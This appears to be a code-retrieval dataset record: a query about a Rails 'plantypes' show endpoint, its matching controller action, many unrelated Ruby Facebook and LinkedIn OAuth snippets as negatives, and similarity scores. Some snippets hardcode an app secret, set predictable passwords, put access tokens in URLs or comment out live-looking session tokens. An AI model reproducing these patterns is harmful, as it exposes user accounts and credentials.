LinkedIn::Client.new(LinkedIn::API_KEY, LinkedIn::SECRET_KEY)\n if @user.user_content.linkedin_token.blank?\n pin = params[:oauth_verifier]\n atoken, asecret = client.authorize_from_request(session[:rtoken], session[:rsecret], pin)\n @user.user_content.linkedin_token = atoken\n @user.user_content.linkedin_secret = asecret\n @user.user_content.save\n else\n client.authorize_from_access(@user.user_content.linkedin_token, @user.user_content.linkedin_secret)\n end\n else\n client = LinkedIn::Client.new(LinkedIn::API_KEY, LinkedIn::SECRET_KEY)\n request_token = client.request_token(:oauth_callback => LinkedIn::CALLBACK_URL)\n session[:rtoken] = request_token.token\n session[:rsecret] = request_token.secret\n @login_linkedin_url = client.request_token.authorize_url\n end\n \n respond_to do |format| \n if params[:ajax] == \"true\" # Request came from ajax. Respond without layout.\n format.html { render :layout => false } # social.html.erb\n else\n format.html # social.html.erb WITH layout\n end\n end\n end", "def facebook\n @facebook ||= Koala::Facebook::API.new(oauth_token)\n # error recovery (block-ish so can be shared across the rest of the Facebook methods)\n block_given? ? yield(@facebook) : @facebook\n rescue Koala::Facebook::APIError => e\n if Rails.env.production?\n logger.info e.to_s\n nil\n else\n raise e\n ### e.fb_error_xx parses the error, as in e.fb_error_type, e.fb_error_code, ...\n end\n end", "def facebook\n # By default, client-side authentication gives you a short-lived\n # token:\n short_lived_token = params[:access_token]\n\n fb_hash = GenericApiRails.config.facebook_hash\n if fb_hash.nil?\n logger.error('Facebook login/signup not configured. For configuration instructions see controllers/generic_api_rails/authentication_controller.rb in the generic_api_rails project')\n render :json => { success: false , error: \"Facebook login/signup not configured\" }\n return\n end\n\n app_id = fb_hash[:app_id]\n app_secret = fb_hash[:app_secret]\n\n # to upgrade it, hit this URI, and use the token it hands back:\n token_upgrade_uri = \"https://graph.facebook.com/oauth/access_token?client_id=#{app_id}&client_secret=#{app_secret}&grant_type=fb_exchange_token&fb_exchange_token=#{short_lived_token}\"\n\n begin\n res = URI.parse(token_upgrade_uri).read\n\n res_hash = Rack::Utils.parse_query(res)\n\n long_lived_token = res_hash['access_token']\n rescue Exception => x\n logger.error(self.class.name + \" - facebook: #{x}\")\n long_lived_token = short_lived_token\n # render :json => { :error => \"token-upgrade error (#{x})\" }\n # return\n end\n\n # at this point, we have verified that the credential is authorized by\n # Facebook- facebook has even given us a long-lived token to\n # manipulate this credential via FB. Now, all we need is some details\n # about our credential, namely the credential ID, and email. We use Koala\n # here because it is a more flexible endpoint for Facebook, and we\n # don't want to be using OAuth here - we already have the token we\n # need.\n\n @graph = ::Koala::Facebook::API.new(long_lived_token, app_secret)\n fb_user = @graph.get_object(\"me\", fields: \"email,first_name,last_name,middle_name,birthday,about,location\")\n # logger.info(\"FB_USER: #{fb_user}\")\n uid = fb_user[\"id\"]\n profile_pic = @graph.get_picture(uid, { height: 500, width: 500 })\n\n # create a hash that matches what oauth spits out, but we've done\n # it with Koala:\n @provider = \"facebook\"\n @uid = uid\n @email = fb_user[\"email\"]\n\n person_hash = {\n fname: fb_user[\"first_name\"],\n lname: fb_user[\"last_name\"],\n minitial: fb_user[\"middle_name\"],\n profile_picture_uri: profile_pic,\n birthdate: fb_user[\"birthday\"]\n }\n\n @results = GenericApiRails.config.oauth_with.call(provider: \"facebook\", uid: uid, email: @email , person: person_hash)\n\n if @results[0].nil?\n # error = @results[1]\n @credential = nil\n else\n @credential = @results[0]\n end\n\n done\n end", "def authenticate(fb_user)\n \n \n end", "def facebook_authentication\n begin\n data = 0\n user = WebUser.find_by_email(params[:email])\n \n if user.nil?\n data = register(params[:provider], params[:uid], params[:name], params[:email], params[:oauth_token], params[:gender], params[:birthday], params[:nickname])\n else\n data = user\n check_pending_friends(user['id'], user['bv_player_id'], user['email'])\n end\n rescue\n data = 1\n end\n \n render :json => data\n end", "def signup_with_facebook\n @status, @msg, @data = UserValidator.signup_with_facebook(params)\n @status, @msg, @data = UserManager.signup_with_facebook(params) if @status\n end", "def facebook\n @user = User.find_or_create_for_facebook(request.env[\"omniauth.auth\"], current_user)\n flash[:alert] = \"Signed in with Facebook successfully.\"\n # use devise-provided method to redirect the user\n if @user.sign_in_count == 0\n sign_in @user, :event => :authentication\n redirect_to users_get_path\n else\n sign_in_and_redirect @user, :event => :authentication\n end\n end", "def before_connect(facebook_session)\n self.login = 'facebook_' + facebook_session.user.name\n self.facebook_name = facebook_session.user.name\n self.password = \"5uttr33_#{self.login}\"\n self.signup_source = 'facebook'\n end", "def authenticating_with_facebook?\n if controller.respond_to?(:controller) && controller.controller.respond_to?(:set_facebook_session)\n controller.set_facebook_session\n !authenticating_with_unauthorized_record? && controller.facebook_session?\n end\n end", "def rc_facebook_check_params_signed_request\n return if rc_facebook.authorized? || !params[:signed_request]\n\n rc_facebook.parse_signed_request!(params[:signed_request])\n logger.debug(\"DEBUG: Facebook: detected signed_request,\" \\\n \" parsed: #{rc_facebook.data.inspect}\")\n\n if rc_facebook.authorized?\n rc_facebook_write_rg_fbs\n else\n logger.warn(\n \"WARN: Facebook: bad signed_request: #{params[:signed_request]}\")\n end\n end", "def facebook\n @fb_user ||= FbGraph::User.me( self.authentications.find_by_provider('facebook').token)\n end", "def has_facebook_profile?\n fb_userid.present?\n end", "def check_auth\n unless params[:code]\n\t redirect_to(FACEBOOK_URL) and return\n end\n end", "def facebook(*args)\n W \"TRY facebook\", *args unless Rails.env.test?\n\n oauth = args.extract_options!\n expect! oauth => {\n :oauth_token => String,\n :oauth_expires_at => [Integer, nil],\n }\n \n client = Koala::Facebook::API.new(oauth[:oauth_token])\n client.put_connections(*args) unless Rails.env.development?\n W \"OK facebook\", *args unless Rails.env.test?\n end", "def authenticating_with_facebook?\n !authenticating_with_unauthorized_record? &&\n !self.class.facebook_api_key.blank? &&\n !self.class.facebook_secret_key.blank?\n end", "def create_fb_url_with_creds(indv_u_id, ac_token, decoded_state: nil)\n url = FACEBOOK_URL + \"?individual_user_id=#{indv_u_id}&secret=#{ac_token}\"\n if decoded_state\n url += \"pathway=#{decoded_state['pathway']}\" +\n \"&gift_template_id=#{decoded_state['gift_template_id']}\" \n end\n \n #Creates facebook oauth dialog url\n #--PE 10/30/14\n def create_oauth_url(cb_url, encoded_auth_state)\n oauth_url = \"https://www.facebook.com/dialog/oauth/?client_id=\" +\n \"#{APP_ID}&redirect_uri=#{cb_url}&state=#{encoded_auth_state}\"\n end\n\n #########\n protected\n ######### \n\n #Renew the access_token after API failure --PE July 17, 2012\n def rescue_api_error\n session.delete(:access_token)\n\t session.delete(:individual_user_id)\n\t oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, AUTH_CALLBACK)\n\t redirect_to(:action => \"exit_portal\", :url => oauth.url_for_oauth_code)\n end\n\n #Redirect to app index page after connection is reset --PE July 23, 2012\n def rescue_connection_reset\n redirect_to(:action => \"index\")\n flash[:notice] = \"Sorry, something went wrong (connection reset). \" +\n \"Please try again.\"\n end\n\n #Redirect to app index page after undefined method errors --PE July 23, 2012\n def rescue_undefined_method\n redirect_to(:action => \"index\")\n flash[:notice] = \"Sorry, something went wrong (undefined method). \" +\n \"Please try again.\"\n end\nend", "def connected_to_facebook?\n fb_uid && fb_access_token\n end", "def facebook_oauth\n # Insert your own Facebook client ID and secret here\n # auth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"])\n\n @facebook_oauth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"])\n\n\n\n end", "def facebook_profile\n @network = current_user.network ||= Network.new\n (@network.facebook.nil?) ? \"\" : @network.facebook\n end", "def fb_authenticate \n # If we have a new access token, validate it by attempting to get 'me',\n # the logged in facebook user\n if params[:access_token]\n begin\n rg = RestGraph.new(:access_token => params[:access_token],\n :graph_server => FBGraphServer,\n :app_id => FBAppID,\n :secret => FBAppSecret)\n me = rg.get('me')\n rescue => err\n # Unable to get me, this is not a valid acces token\n end\n end\n\n # Find the fucker associated with the facebook id\n if me\n session[:fucker] = Fucker.first(:conditions => {:facebook_id => me['id']})\n if !session[:fucker]\n session[:fucker] = Fucker.new({:name => me['name'], :facebook_id => me['id']})\n begin \n session[:fucker].save!\n rescue => e\n $log.warn(\"Unable to save new session fucker: #{e.message}\")\n session[:fucker] = nil\n end\n end\n elsif !params.has_key? :access_token && !session[:fucker]\n # No facebook user and no active active session, reset session\n reset_session\n params[:access_token] = nil\n end\n \n # Explicitly provide CSRF token in a cookie, since a new one will be generated \n # and we will need it to do non-idempotent actions\n # Also store facebook access token\n cookies['CSRF-Token'] = session[:fucker] ? form_authenticity_token : nil\n session['FB-Token'] = params[:access_token]\n \n # Create a random instance id\n instance_id = (rand * 0xffffffff).to_i;\n\n # Return the fucker\n respond_to do |format|\n format.json { render json: {:instance_id => instance_id, :fucker => session[:fucker], \n :csrf_token => cookies['CSRF-Token']}}\n end\n end", "def facebook_auth_cache\n self.auth_profiles.where(provider: 'facebook').first\n end", "def before_connect(facebook_session)\n self.login = facebook_session.user.name\n self.facebook_name = facebook_session.user.name\n self.password = \"5uttr33_#{self.login}\"\n self.signup_source = 'facebook'\n end", "def fetch_facebook_friends\n\t\treturn fetch_facebook_friends_or_subscribers_or_subscribedto(\"friends\")\n\tend", "def new\n next_url = AppConfig.facebook_app_url + \"facebook/callback\"\n #next_url += (\"?request_ids=\" + params[:request_ids]) unless params[:request_ids].nil?\n @auth_url = Authentication.auth.client.web_server.authorize_url(\n :redirect_uri => next_url, :scope => AppConfig.facebook_perms\n )\n end", "def follow_redirect?; end", "def fbCall(path,params = {})\n params['access_token'] = self.token ? self.token['access_token'] : self.originalFriend.token['access_token']\n getJSON(\"https://graph.facebook.com#{path}\", params)\n end", "def facebook_auth_uri\n return '' unless E9::Config.instance.facebook_auth_ready?\n\n facebook_client.auth_code.authorize_url({\n :redirect_uri => facebook_redirect_uri,\n :scope => 'publish_stream,manage_pages,offline_access'\n })\n end", "def set_facebook_token\n @facebook_token = current_user.facebook_token\n end", "def new\n \n fb_auth = FbGraph::Auth.new('155275974530339', '309d340d359061c890906926e8139e4a')\n fb_auth.client # => Rack::OAuth2::Client\n \n client = fb_auth.client\n client.redirect_uri = \"http://localhost:3000/config_keys\"\n\n # redirect user to facebook\n redirect_to client.authorization_uri(\n :scope => [:email, :read_stream, :offline_access]\n )\n\n # in callback\n client.authorization_code = params[:code]\n access_token = client.access_token! # => Rack::OAuth2::AccessToken\n FbGraph::User.me(access_token).fetch # => FbGraph::User\n \n end", "def authenticate_user!\n redirect_to login_path(:facebook) unless session[:user_id]\n end", "def locallink\n redirect_to \"http://localhost:3000/auth/facebook/callback?code=#{params[:code]}\"\n end", "def login_from_facebook\n fb_cookie = get_facebook_cookie\n return unless fb_cookie and fb_cookie[\"uid\"]\n\n #uid : 507527287\n #sig : ddf9dffcd85fcc41dbe4257b5eee922b\n #base_domain : gear.com\n #secret : fSoxbS_tGGF0oP2c9_SUbw__\n #access_token : 225955489319|2.KBSGTAnBP5tSEIxJBXcWfA__.3600.1278799200-507527287|d5zULU1zLZFguUUcsqVU0-C-tOM.\n #session_key : 2.KBSGTAnBP5tSEIxJBXcWfA__.3600.1278799200-507527287\n #expires : 1278799200\n\n user = User.find_by_fb_user_id(fb_cookie[\"uid\"])\n\n # cant find the user in the db but they have a fb session..\n return unless user\n \n # Add fb user to the user object and set the current user\n self.current_user = user \n end", "def request_like_fan_page?\n Rails.logger.info(\"TOKEN : #{self.f_token}\")\n oauth = Koala::Facebook::OAuth.new(ENV['FACEBOOK_APP_ID'], ENV['FACEBOOK_APP_SECRET'])\n graph = Koala::Facebook::API.new(self.f_token)\n data = graph.get_connections(self.f_id, \"likes/#{ENV['FACEBOOK_PAGE_ID']}\")\n\n found = false\n data.each do |like|\n found = true if like['id'] == \"#{ENV['FACEBOOK_PAGE_ID']}\"\n end\n return found\n end", "def find_for_facebook_oauth(auth, current_user = nil)\n if current_user && current_user.accounts.facebook.where(uid: auth['uid']).exists?\n current_user\n else\n includes(:accounts)\n .where(accounts: {type: Accounts::Facebook, uid: auth['uid']})\n .first\n end\n end", "def password_required?\n super unless has_facebook_auth\n end", "def show\n auth = Facebook.auth.from_cookie(cookies)\n authenticate Facebook.identify(auth.user)\n redirect_to dashboard_url\n end", "def facebookcheck\n auth=request.env[\"omniauth.auth\"]\n session[:auth] = auth\n if (session[:check] == 1)\n redirect_to '/create/manager'\n elsif (session[:check] == 2)\n redirect_to '/create/tenant'\n else\n #differentiates the redirection for the log in of a tenant or manager\n if Manager.where(:provider => auth[\"provider\"], :uid => auth[\"uid\"]).exists?\n user=Manager.find_by(:provider => auth[\"provider\"], :uid => auth[\"uid\"])\n session[:user_id] = user.id\n redirect_to '/managers/show'\n elsif Tenant.where(:provider => auth[\"provider\"], :uid => auth[\"uid\"]).exists?\n user = Tenant.find_by(:provider => auth[\"provider\"], :uid => auth[\"uid\"]) \n session[:user_id] = user.id\n redirect_to '/tenants/show'\n #redirects incorrect sign ins\n else\n flash[:notice] = 'Incorrect login information.'\n redirect_to '/signin'\n end\n end\n end", "def facebook_callback\n user_data = parse_facebook_user_data\n token = sign_user_token(user_data[\"email\"],\"facebook\")\n\n user = User.find_by_token(token)\n if user\n set_current_user(user)\n else\n user = User.new(:email => user_data[\"email\"],\n :nick => user_data[\"first_name\"],\n :token => token)\n user.save!\n\n set_current_user(user)\n end\n redirect_to :controller => \"sales_management\",\n :action => \"index\",\n :user_id => user.id\n end", "def facebook_authenticatable\n\t\t\troutes.with_options(:controller => 'facebook_auth', :name_prefix => nil) do |auth|\n\t auth.send(:\"new_#{mapping.name}_session\", mapping.path_names[:sign_in], :action => 'create', :conditions => {:method => :get})\n\t # auth.send(:\"#{mapping.name}_session\", mapping.path_names[:sign_in], :action => 'create', :conditions => {:method => :post})\n\t # auth.send(:\"destroy_#{mapping.name}_session\", mapping.path_names[:sign_out], :action => 'destroy', :conditions => { :method => :get })\n\t\t\tend\n\t\tend", "def invite_facebook_friends\n end", "def facebook_connect_callback(value=nil)\n rw_config(:facebook_connect_callback, value, :before_facebook_connect)\n end", "def facebook_id \n self.facebook_auth_cache.uid\n end", "def fb_profile_url\n \"http://www.facebook.com/profile.php?id=#{fb_user_id}\"\n end", "def authenticating_with_facebook?\n !skip_facebook_authentication && !authenticating_with_unauthorized_record? && attempted_record.nil? && facebook_session?\n end", "def return_from_general_auth\t\n # back from oauth wormhole..obtain facebook user and credentials\n oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, GEN_AUTH_CALLBACK)\n session[:access_token] = oauth.get_access_token(params[:code])\n graph = Koala::Facebook::API.new(session[:access_token])\n facebook_user_id = graph.get_object(\"me\")[\"id\"]\n session[:individual_user_id] = \n IndividualUser.login_or_create(facebook_user_id,session[:access_token])\n\n # determine where to redirect\n state, link = false, false\n\t if params[:state]\n state = true\n decoded_state = ActiveSupport::JSON.decode(params[:state])\n \n # [Page Tab] return to the page tab\n if decoded_state['page_tab_id']\n\t\t\t graph = Koala::Facebook::API.new\n\t\t\t page_tab = graph.get_object(\"#{decoded_state['page_tab_id']}\")\n\t\t\t if page_tab[\"link\"]\n link = true\n\t\t\t\t encoded_page_state = URI.encode(ActiveSupport::JSON.encode(\n {:individual_user_id => session[:individual_user_id], \n :secret => session[:access_token]\n }))\n end\n end\n end\n \n # handle the redirect\n if state && link\n redirect_to(page_tab[\"link\"] + \n \"?sk=app_#{APP_ID}&app_data=#{encoded_page_state}\")\n else\n redirect_to(create_fb_url_with_creds(session[:individual_user_id],\n session[:access_token]))\n end\n return\n end", "def apply_facebook(omniauth)\n if (info = omniauth['info'] rescue false)\n self.email = (info['email'] rescue '')\n end\n end", "def ensure_facebook_connect\n set_facebook_session()\n if facebook_session && facebook_session.user.id\n @user = User.find_or_create_by_facebook_id(facebook_session.user.id)\n else\n redirect_to :controller=>:account, :action=>:login, :next_url=>request.request_uri\n end\n end", "def search_facebook\n\t\tif request.post?\n\t\t\tuser = User.find_by_id(params[:user_id])\n\t\t\tunless user\n\t\t\t\trender json: {error: \"user not fonud\"} and return\n\t\t\tend\n\n\t\t\tfacebook_ids = JSON.parse(params[:facebook_ids])\n\t\t\tfriends = []\n\n\t\t\tfacebook_ids.each do |id|\n\t\t\t\tfriend = User.find_by_facebookId(id)\n\t\t\t\tif friend\n\t\t\t\t\tfriend.password = nil\n\t\t\t\t\tfriends.push(friend)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\trender json: {friends: friends.as_json}\n\t\tend\n\tend", "def use_oauth\n\t\t\t\n\t\tend", "def facebook_variables\n @facebooker_config = Facebooker::AdapterBase.facebooker_config\n @canvas_page_name = @facebooker_config['canvas_page_name']\n @application_base_url = 'http://apps.facebook.com/' + @canvas_page_name\n @api_key = @facebooker_config['api_key']\n @ajax_server = \"#{Facebooker::AdapterBase.facebooker_config['callback_url']}\"\n @facebook_session = facebook_session\n @scrollbar = session[:scrollbar]\n end", "def handle_unverified_request; end", "def handle_unverified_request; end" ]
[ "0.7492562", "0.7469584", "0.715355", "0.7121518", "0.7118632", "0.6937698", "0.6935348", "0.68947065", "0.67705816", "0.67381036", "0.67110145", "0.67040014", "0.6600341", "0.6542265", "0.64666116", "0.63801837", "0.63766825", "0.63627017", "0.6333331", "0.6284893", "0.6231159", "0.62003934", "0.619538", "0.61608446", "0.61360735", "0.6132516", "0.6076486", "0.60759073", "0.60756147", "0.60660124", "0.60613203", "0.60533774", "0.60487187", "0.60370773", "0.6014616", "0.60023814", "0.59972525", "0.59956956", "0.5977696", "0.59624124", "0.5960357", "0.5948809", "0.5942044", "0.59417343", "0.5932499", "0.5930486", "0.5928649", "0.591288", "0.5902728", "0.5898897", "0.5894051", "0.5889802", "0.5880954", "0.58796895", "0.5872829", "0.5866338", "0.5865909", "0.5863919", "0.5862221", "0.5833768", "0.5824644", "0.58064365", "0.58030397", "0.5802552", "0.5801609", "0.57942724", "0.57778645", "0.5773342", "0.57698727", "0.5757047", "0.57526255", "0.57510495", "0.5734309", "0.5717995", "0.5717813", "0.5706082", "0.5693903", "0.5688165", "0.56869966", "0.5683162", "0.5677651", "0.5654402", "0.5650519", "0.5633151", "0.5620514", "0.56176203", "0.5615126", "0.56137025", "0.55957645", "0.55944717", "0.5582237", "0.5577186", "0.5575819", "0.55624735", "0.5556798", "0.5554261", "0.55525625", "0.55487883", "0.55475396", "0.55475396" ]
0.57855356
66
GET /plantypes/1 GET /plantypes/1.json
def show @plantype = Plantype.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @plantype } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @plantype = Plantype.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype }\n end\n end", "def show\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype_strategy }\n end\n end", "def get_plan_type(plan)\n plan_type_id = plan.plan_type_id\n PlanType.find(plan_type_id).type_name rescue nil\n end", "def index\n @plans = Plan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n\n render json: @plan\n end", "def index\n @tipo_plans = TipoPlan.all\n end", "def index\n @plans = Plan.all\n\n render json: @plans\n end", "def index\n @costtypes = Costtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @costtypes }\n end\n end", "def show\n render json: @plan\n end", "def plans(params = {})\n scope 'default'\n get('plans/', params)\n end", "def show\n @task_type = @project.task_types.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @task_type }\n end\n end", "def show\n @klassplan = Klassplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @klassplan }\n end\n end", "def show\n @planitem = Planitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planitem }\n end\n end", "def show\n @costtype = Costtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @costtype }\n end\n end", "def show\n @crate_type = CrateType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @crate_type }\n end\n end", "def show\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_type }\n end\n end", "def show\n @run_type = RunType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @run_type }\n end\n end", "def show\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_plan }\n end\n end", "def create\n @plantype = Plantype.new(params[:plantype])\n\n respond_to do |format|\n if @plantype.save\n format.html { redirect_to @plantype, notice: 'Plantype was successfully created.' }\n format.json { render json: @plantype, status: :created, location: @plantype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @all_type=Api::V1::AdminType.all\n render json: @all_type\n end", "def index\n @planet_types = PlanetType.all\n end", "def show\n @travel_type = TravelType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @travel_type }\n end\n end", "def index\n @crate_types = CrateType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crate_types }\n end\n end", "def status\n @plan = Plan.find(params[:id])\n authorize @plan\n respond_to do |format|\n format.json { render json: @plan.status }\n end\n end", "def new\n @plantype_strategy = PlantypeStrategy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype_strategy }\n end\n end", "def show\n @plannegocio = Plannegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plannegocio }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def show\n @budgeting_type = BudgetingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budgeting_type }\n end\n end", "def index\n @run_types = RunType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @run_types }\n end\n end", "def show\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @realty_type }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site_plan }\n end\n end", "def index\n respond_with(@plans = Plan.all)\n end", "def court_types\n render json: GamePass.court_types_options\n end", "def set_tipo_plan\n @tipo_plan = TipoPlan.find(params[:id])\n end", "def show\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sslplan }\n end\n end", "def get_lesson_types\n get \"lessonTypes.json\"\n end", "def index\n @plans = Plan.all\n end", "def index\n @plans = Plan.all\n end", "def show\n @contract_type = ContractType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contract_type }\n end\n end", "def index\n @task_types = @project.task_types\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @task_types }\n end\n end", "def index\n @credit_types = CreditType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @credit_types }\n end\n end", "def type\n @json['type']\n end", "def index\n\n @goals = Goal.by_person_as_student(current_user.person)\n @goals = @goals.by_plan(params[:plan_id]) if params[:plan_id].present?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goals }\n end\n end", "def show\n @plan_setting = PlanSetting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan_setting }\n end\n end", "def fetch_plans (id = nil)\n @plans = []\n parameters = {}\n @networks_by_plan = {}\n parameters[:_profile] = 'http://hl7.org/fhir/us/davinci-pdex-plan-net/StructureDefinition/plannet-InsurancePlan' \n if(id)\n parameters[:_id] = id\n end\n\n @client.search(\n FHIR::InsurancePlan,\n search: { parameters: parameters }\n )&.resource&.entry&.map do |entry|\n @plans << {\n value: entry&.resource&.id,\n name: entry&.resource&.name\n }\n @networks_by_plan [ entry&.resource&.id] = entry&.resource&.network\n end\n @plans.sort_by! { |hsh| hsh[:name] }\n rescue => exception\n redirect_to root_path, flash: { error: 'Please specify a plan network server' }\n\n end", "def show\n @tasktype = Tasktype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tasktype }\n end\n end", "def show\n @vet_lab_type = VetLabType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vet_lab_type }\n end\n end", "def index\n render json: usage(params[:type])\n end", "def types\n @client.make_request :get, reports_path\n end", "def show\n @contractor_type = ContractorType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contractor_type }\n end\n end", "def index\n @language_types = LanguageType.all\n\n render json: @language_types\n end", "def show\n @task_type = TaskType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_type }\n end\n end", "def show\n @type = Type.find(params[:id])\n end", "def show\n @credit_type = CreditType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit_type }\n end\n end", "def new\n @klassplan = Klassplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @klassplan }\n end\n end", "def index\n @vet_lab_types = VetLabType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vet_lab_types }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n @plan_days = @plan.plan_days\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan }\n end\n end", "def show\n @panel_plan = Panel::Plan.find(params[:id])\n @features = Panel::Planfeature.where(:panel_plan_id => params[:id]).all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def show\n render json: @company_type\n end", "def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end", "def show\n @page_type = PageType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page_type }\n end\n end", "def show\n @lunchplan = Lunchplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @lunchplan }\n end\n end", "def new\r\n @general_plan = GeneralPlan.new\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @general_plan }\r\n end\r\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @floor_plan }\n end\n end", "def index\n @sample_types = SampleType.all.sort_by(&:name)\n @first = if @sample_types.any?\n @sample_types[0].name\n else\n 'no sample types'\n end\n\n respond_to do |format|\n format.html { render layout: 'aq2' }\n format.json do\n render json: @sample_types\n .sort { |a, b| a.name <=> b.name }\n .to_json(methods: :field_types)\n end\n end\n end", "def show\n @breadcrumb = 'read'\n @invoice_type = InvoiceType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invoice_type }\n end\n end", "def show\n @plans = @event.plans\n \n respond_to do |format|\n format.html {}\n format.json { render json: @event.to_json}\n end\n end", "def show\n @plans = Stripe::Plan.all\n end", "def show\n @socialize_plan = SocializePlan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @socialize_plan }\n format.json { render :json => @socialize_plan }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end", "def show\n @member_type = MemberType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @member_type }\n end\n end", "def show\n @act_type = ActType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @act_type }\n end\n end", "def destroy\n @plantype = Plantype.find(params[:id])\n @plantype.destroy\n\n respond_to do |format|\n format.html { redirect_to plantypes_url }\n format.json { head :no_content }\n end\n end", "def get_test_plan\n @takt = Taktinfo.find(params[:id])\n @testplans = @takt.testplans.where(:format =>params[:testp])\n\n respond_to do |format|\n format.json{render json:@testplans.as_json(root:false),:callback =>params[:callback]}\n end\n end", "def show\n @type_customer = TypeCustomer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type_customer }\n end\n end", "def show\n @business_type = BusinessType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @business_type }\n end\n end", "def show\n @plan = Plan.find(params[:id])\n end", "def show\n @collection_type = CollectionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @collection_type }\n end\n end", "def show\n @agency_type = AgencyType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agency_type }\n end\n end", "def show\n if params[:term]\n @types = Type.all(:conditions => ['typeName LIKE ?', \"%#{params[:term]}%\"])\n else\n @type = Type.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @types }\n end\n end", "def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end", "def index\n @act_types = ActType.order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @act_types }\n end\n end", "def index\n @dept_types = DeptType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @dept_types }\n end\n end", "def type\n response[\"type\"]\n end", "def type\n response[\"type\"]\n end", "def show\n @step_type = StepType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @step_type }\n end\n end", "def show\n @benchmark_type = BenchmarkType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @benchmark_type }\n format.xml { render :xml => @benchmark_type }\n end\n end", "def show\n @segment_type = 